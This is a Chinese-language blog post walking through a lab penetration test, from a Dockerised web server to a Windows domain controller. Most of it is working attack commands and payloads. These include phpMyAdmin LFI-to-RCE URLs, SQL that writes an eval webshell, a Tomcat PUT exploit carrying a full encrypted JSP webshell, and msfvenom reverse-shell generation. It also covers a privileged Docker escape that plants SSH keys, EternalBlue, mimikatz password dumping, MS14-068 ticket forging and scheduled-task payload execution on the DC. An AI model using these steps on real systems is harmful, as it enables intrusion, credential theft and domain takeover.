Linux渗透:曲折渗透之路
sinye56 2024-11-26 08:27 1 浏览 0 评论
环境搭建
web服务(ubuntu):
web有三个服务:st2,Tomcat,phpmyadmin。分别为2001,2002,2003端口,为3个docker。
ip1:192.168.1.108 ip2:192.168.183.141
内网主机(win7):
ip:192.168.183.140
DC(win2008):
ip:192.168.183.130
攻击机器(kali):
ip:192.168.1.128
phpmyadmin Getshell
访问对应端口,发现都不需要输入密码直接进去了,那么这里方式就比较多了,提供的思路为使用CVE-2018-12613,漏洞网上已经有师傅分析了,这里就复现一波
2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、CTF、大厂面经、精品手册、必备工具包、路线)一>关注我,私信回复“资料”获取<一
这时一个远程文件包含漏洞,验证payload为:
http://192.168.1.108:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可以看到读取了passwd的内容,证明漏洞存在。
这里getshell就可以通过包含session临时文件来实现命令执行 执行一个SELECT '<?php phpinfo(); ?>' 命令然后查看session值来访问临时文件。
执行成功后,查看自己的sessionid,phpMyadmin的值。
复制该值,把值带到sess_,直接访问:
http://192.168.1.108:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_0b63245d88cef3d904fa32778f96120e
既然可以RCE,那么这里如何上传webshell呢。构造sql语句如下:
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"
同样的方法找到sessionid,phpMyadmin的值。
访问:
http://192.168.1.108:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_c4056d4984f0aab2e94bc7ddf6ee1a45
再访问cmd.php,发现成功写入了。
成功连接。
Struts2
访问2001端口,发现为Structs2框架。
由于是框架,先可以直接用一些写好的工具去扫一波。发现存在S2-045,S2-046漏洞。
使用S2-046漏洞可直接远程执行命令。
并且可以直接上传shell,这里shell的路径是可以改的。
访问后发现返回500,只能说他这个马应该有点问题,利用漏洞应该是没问题的。
Tomcat
可以看到这里是8.5.19的Tomcat,一般看到这种都是找一找版本漏洞。这里kali中已经有了相关版本的poc。
searchsploit tomcat 8.5.19
searchsploit -m /exploit/jsp/webapps/42966.py
直接利用:
python 42966.py -u http://192.168.1.108:2002/
可以看到利用成功,并写入了一个shell。访问shell,证实存在漏洞:
当我想用这个脚本执行一些命令时,出现了一些问题,于是准备自己手动构造一波:
使用bp抓包,改用PUT,这里使用的是冰蝎2.0的马,3.0的马上传了之后是连不上的。
exp为:
PUT /sd.jsp/ HTTP/1.1
Host: 192.168.1.108:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 617
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
返回201的状态码说明上传成功
内网渗透
回到phpmyadmin这个shell。想上线cs方便操作,发现他是liunx:
cs是不自带Linux的上线方式的,但这里还是想上线,使用CrossC2插件上线。
这里如何配置网上的教程已经有很多了,生成一个命令行式的一句话,curl上线。
但是这里出现了小插曲,可能由于是docker的原因,这里并没有成功上线,更换了webshell工具也是不行的,测试本机都是可以的。
那么这里只好试试msf,生成elf文件:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf
生成elf文件后上传到web根目录下,并chmod命令修改权限为777。
msf准备接受会话
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.128
set lport 4444
run
然后执行shell.elf,成功接收到会话。
docker逃逸
这里的逃逸方法为privileged特权。特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh登录。
查看磁盘文件:fdisk -l
可以看到是在/dev目录下:ls /dev
创建一个目录test,将/dev/sda1挂载到新建的目录下
mkdir /test
mount /dev/sda1 /test
已经可以访问宿主机上的目录内容了。
然后使用ssh生成一个私钥,用chmod命令赋予权限。
ssh-keygen -f test
chmod 600 test
这里桌面会生成一个test.pub
ls /test/home即可查看目标机器的用户都有哪些
进入到ubuntu用户,里面会存在.ssh目录,我们需要将密钥写入.ssh目录并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。依次执行以下两条命令写入密钥文件。
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub/test/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' >/test/home/ubuntu/.ssh/authorized_keys
再使用ssh去连接ssh -i test ubuntu@192.168.1.108
这里有个隐藏buff就是历史命令未删除问题,跟接下来拿win7有关系。使用命令history
liunx系统上线cs
这下应该可以上线cs了吧,还是刚刚的套路,通过curl无文件上线,成功上线。
查看网卡信息时发现除了刚刚的一些混淆的docker ip外,有另外一张网卡。
这里就准备扫一下。因为没有自带的端口扫描,上传一个fscan去扫一下:
shell /home/ubuntu/fscan_amd64 -h 192.168.183.1/24
发现有同网段主机一台win7,并且有永恒之蓝的漏洞。这里就想要利用永恒之蓝,cs在Linux上的功能还是比较缺失的,这里还是先用msf打一波。
通过上传elf文件再执行,得到shell反弹回msf,然后添加路由:
route add 192.168.183.0 255.255.255.0 4
route print
use auxiliary/server/socks_proxy
set version 4a
run
修改proxychains4.conf
使用永恒之蓝模块去打:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.140
run
这里直接上线了,执行命令后发现是有域的。
通过nslookup查询迅速确定域控ip:192.168.183.130
域控出来了,思路就明确了。这里还是想先上线cs方便操作。由于CrossC2提供的功能较少,选择做代理,将cs带入到内网。
使用Venom+Proxifier,上传agent到边缘机器。
边缘机器执行命令:
shell /home/ubuntu//Desktop/agent_linux_x86 -rhost 192.168.1.128 -rport 9999
配置Proxifier.conf文件
启动Proxifier后发现已经可以通向内网机器win7。
sudo systemctl start proxifier
这里可以中继或者使用tcp beacon。但是两个我都没有成功,cross c2在高版本的cs下的功能还是弱了点,就放弃了。
win7信息收集
拿到内网一台主机,首先就想抓他的密码,加上这台主机是win7,是可以直接抓取到明文密码的。这里已经上传了一个mimikatz,直接利用。
privilege::debug
sekurlsa::logonpasswords
win7抓取密码就比较轻松了,这里也是直接抓到明文。也跟上面历史命令相呼应。
浏览器密码等也是可以翻一下的,比较该主机已经在域内了,很多信息可能对我们拿下域控很有帮助。补丁还是打了不少,不过由于操作系统有点老了,总都会有些洞,经过对比发现ms14-068的补丁并没有安装,是可以利用的。
通过mimikatz抓取,获得了域内用户douser的sid和明文密码,并且知道域名称等信息,使用工具直接利用。
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
注入票据,注入后通过klist查看已经有了票据。
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache //将票据注入
通过ipc连接或者dir可以直接访问域控机器,抓取密码的信息中已经有了域控机器名。
访问拿下域控
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\C$
有了ipc连接就可以计划任务上线了。同样生成一个正向的马。上传到DC机器。查看时间,并设置计划任务执行。
copy 2.exe \\WIN-ENS2VR5TR3N\c$\win.exe
net time \\WIN-ENS2VR5TR3N
schtasks /create /s 192.168.183.130 /tn c /tr c:/win.exe /sc once /st 16:36
获取到shell,getsystem竟然可以直接提权。抓密码省略。。图太多了。
后记
本来是想在cs上进行后渗透,由于开头一个linux,cs上线进行后渗透还是困难了一点,msf和cs搭配使用要好一些。。
相关推荐
- linux安装FTP
-
1、在nkftp目录下安装ftp,进入到nkftp里面[root@localhostbin]#cd/data/nkftp执行安装命令:[root@localhostnkftp]#rpm-i...
- LINUX下搭建FTP服务器
-
FTP服务器介绍FTP是FileTransferProtocol(文件传输协议)的英文简称,而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(App...
- Linux下如何进行FTP设置
-
目录:一、Redhat/CentOS安装vsftp软件二、Ubuntu/Debian安装vsftp软件一、Redhat/CentOS安装vsftp软件1.更新yum源yumupdate-y2.安...
- 推荐使用集串口 SSH远程登录和FTP传输三合一工具MobaXterm
-
来源:百问网作者:韦东山本文字数:1216,阅读时长:4分钟在以前的资料里,串口和SSH远程登使用SecureCRT,window与ubuntu数据传输使用filezilla,窗口切换来切换去,麻烦也...
- 如何搭建FTP服务器(Linux系统)
-
上次说了Windows操作系统下搭建的FTP服务器,那有朋友问我,说买的XX轻量应用服务器都是属于Linux的操作系统,我该如何为搭建FTP服务器呢?...
- Linux 命令 ncftp(文件传输)——想玩转linux就请一直看下去
-
我是IT悟道,点击右上方“关注”,每天分享IT、科技、数码方面的干货。Linuxncftp命令...
- 如何用 ftp 实现一键上传
-
简介ftp是Internet标准文件传输协议的用户界面,它允许用户与远程网络站点之间传输文件...
- Linux安装ftp
-
1安装vsftpd组件安装完后,有/etc/vsftpd/vsftpd.conf文件,是vsftp的配置文件。[root@bogon~]#yum-yinstallvsftpd2添加一个...
- 一天一点点:linux - ftp命令
-
linuxftp命令设置文件系统相关功能。FTP是ARPANet的标准文件传输协议,该网络就是现今Internet的前身。语法ftp[-dignv][主机名称或IP地址]参数:-d详细显示指令执...
- Centos 7 搭建FTP
-
目录安装软件以及启动服务添加防火墙规则关闭selinuxftp配置常用常用参数详解特殊参数配置文件没有的参数也可以添加到配置中1.安装软件以及启动服务yuminstall-yvsftpdsys...
- 【Linux】Linux中ftp命令,没有你想的那么简单
-
本文介绍了Linux中FTP命令的基本用法,包括连接与登录远程服务器,以及解析了FTP协议中五个最常用的操作命令的使用和解析过程。同时,提供了一个包含常用FTP操作命令的表格,供读者参考。通过熟练掌握...
- linux 命令行操作ftp
-
以下是linuxftp命令参数的详解。FTP>!从ftp子系统退出到外壳?FTP>?显示ftp命令说明??和help相同?格式:?[command]说明:[com...
- 多学习才能多赚钱之:linux如何使用ftp
-
linux如何使用ftp步骤1:建立FTP连接想要连接FTP服务器,在命令上中先输入ftp然后空格跟上FTP服务器的域名'domain.com'或者IP地址例如:ftpdom...
- linux常用网络操作方法:ftp命令使用方法
-
常用网络操作方法Linux提供了一组强有力的网络命令来为用户服务,这些工具能够帮助用户登录到远程计算机上、传输文件和执行远程命令等。本节介绍下列几个常用的有关网络操作的命令:ftp传输文件tel...
- Linux 5.15有望合并Memory Folios方案 内核构建速度可提升7%
-
甲骨文公司的长期内核开发人员MatthewWilcox已经研究了“内存对开区”概念相当长的一段时间,这可以改善Linux的内存管理,使其具有更大的效率。例如,使用内存对开的基准测试表明,内核的构建速...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- oracle忘记用户名密码 (59)
- oracle11gr2安装教程 (55)
- mybatis调用oracle存储过程 (67)
- oracle spool的用法 (57)
- oracle asm 磁盘管理 (67)
- 前端 设计模式 (64)
- 前端面试vue (56)
- linux格式化 (55)
- linux图形界面 (62)
- linux文件压缩 (75)
- Linux设置权限 (53)
- linux服务器配置 (62)
- mysql安装linux (71)
- linux启动命令 (59)
- 查看linux磁盘 (72)
- linux用户组 (74)
- linux多线程 (70)
- linux设备驱动 (53)
- linux自启动 (59)
- linux网络命令 (55)
- linux传文件 (60)
- linux打包文件 (58)
- linux查看数据库 (61)
- linux获取ip (64)
- linux进程通信 (63)